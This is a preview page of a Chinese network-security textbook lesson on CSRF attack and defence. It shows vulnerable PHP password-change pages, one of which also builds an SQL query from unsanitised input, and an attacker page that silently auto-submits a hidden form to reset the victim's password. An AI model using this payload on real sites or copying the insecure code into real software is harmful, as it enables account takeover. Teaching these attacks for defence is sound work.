《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第7章 任務(wù)7.3 CSRF漏洞攻擊與防御_第1頁(yè)
《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第7章 任務(wù)7.3 CSRF漏洞攻擊與防御_第2頁(yè)
《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第7章 任務(wù)7.3 CSRF漏洞攻擊與防御_第3頁(yè)
《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第7章 任務(wù)7.3 CSRF漏洞攻擊與防御_第4頁(yè)
《計(jì)算機(jī)網(wǎng)絡(luò)安全防護(hù)技術(shù)（第二版）》 課件 第7章 任務(wù)7.3 CSRF漏洞攻擊與防御_第5頁(yè)
已閱讀5頁(yè)，還剩5頁(yè)未讀， 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明：本文檔由用戶提供并上傳，收益歸屬內(nèi)容提供方，若內(nèi)容存在侵權(quán)，請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

第7章Web安全技術(shù)編著：

秦?zé)鰟诖浣?/p>

任務(wù)7.3

CSRF漏洞攻擊與防御任務(wù)7.3CSRF漏洞攻擊與防御

諸如修改用戶密碼、銀行帳號(hào)轉(zhuǎn)賬等關(guān)鍵處理中，會(huì)涉及到跨站請(qǐng)求偽造漏洞（Cross-SiteRequestForgeries漏洞），簡(jiǎn)稱CSRF漏洞。針對(duì)CSRF漏洞的攻擊就是CSRF攻擊。

CSRF漏洞會(huì)導(dǎo)致遭受的攻擊主要有：更改用戶密碼或郵箱地址、刪除用戶帳號(hào)、使用用戶賬號(hào)購(gòu)物、使用用戶帳號(hào)發(fā)帖等。預(yù)防CSRF漏洞的方法，是在執(zhí)行關(guān)鍵處理之間，先確認(rèn)是否用戶自愿發(fā)起的請(qǐng)求。

一、網(wǎng)頁(yè)的內(nèi)容及功能。

首先用戶通過(guò)的25.htm輸入用戶名及密碼登錄，登錄成功后進(jìn)入26.php歡迎頁(yè)面，在26.php頁(yè)面中，點(diǎn)擊“下一頁(yè)”，進(jìn)入27.php密碼修改鏈接頁(yè)面。1.網(wǎng)站的密碼修改鏈接頁(yè)面27.php內(nèi)容如下：<head><metahttp-equiv="Content_Type"content="text/html";charset="utf-8"/></head><body><?phpsession_start();$id=$_SESSION['aa'];if($id==''){ die('請(qǐng)登錄');}?>已登錄（username:<?phpechohtmlspecialchars($id,ENT_NOQUOTES,'UTF-8');?>)<br><ahref="28.php">修改密碼</a></body>網(wǎng)頁(yè)27.php的顯示效果如圖7-3-1所示。點(diǎn)擊“修改密碼”鏈接后，進(jìn)入28.php密碼修改頁(yè)面。圖7-3-1網(wǎng)站www.上的網(wǎng)頁(yè)27.php2.網(wǎng)站的密碼修改鏈接頁(yè)面28.php內(nèi)容如下：<?phpsession_start();$id=$_SESSION['aa'];if($id==''){ die('請(qǐng)登錄');}?>username:<?phpechohtmlspecialchars($id,ENT_NOQUOTES,'UTF-8');?><br>請(qǐng)輸入新密碼：<br><formaction="29.php"method="POST"> <inputtype="password"name="password"> <inputtype="submit"value="提交修改"></form>網(wǎng)頁(yè)28.php的顯示效果如圖7-3-2所示。

用戶輸入新密碼，如“123”，點(diǎn)擊“提交修改”按鈕后，頁(yè)面轉(zhuǎn)到進(jìn)行密碼寫(xiě)入數(shù)據(jù)庫(kù)的頁(yè)面29.php。圖7-3-2網(wǎng)站www.上的網(wǎng)頁(yè)28.php3.網(wǎng)站的網(wǎng)頁(yè)29.php內(nèi)容如下：<?phpsession_start();$password=$_POST['password'];$username=$_SESSION['aa'];require'conn.php';mysql_query("updateusersetpassword='$password'whereusername='$username'");if(mysql_affected_rows()) echo"密碼更改成功！";else echo"密碼更新失??！";?>網(wǎng)頁(yè)28.php的顯示效果如圖7-3-3所示。圖7-3-3網(wǎng)站www.上的網(wǎng)頁(yè)29.php二、攻擊者利用被攻擊網(wǎng)頁(yè)的漏洞，篡改用戶密碼若用戶已經(jīng)通過(guò)的登錄頁(yè)面25.htm成功登錄site1，后被誘導(dǎo)訪問(wèn)攻擊者網(wǎng)站的頁(yè)面27.htm，則site1當(dāng)前用戶的密碼將會(huì)被篡改。1.攻擊者網(wǎng)站上，網(wǎng)頁(yè)27.htm的內(nèi)容：<iframeheight="160"src="28.php"></iframe>2.攻擊者網(wǎng)站上，網(wǎng)頁(yè)28.php的內(nèi)容：<bodyonload="document.forms[0].submit()"> <formaction="/29.php"method="POST"> <inputtype="hidden"name="password"value="heike"> </form></body>

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明，都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等，如果需要附件，請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙，網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽，若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間，僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理，對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯，并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容，請(qǐng)與我們聯(lián)系，我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論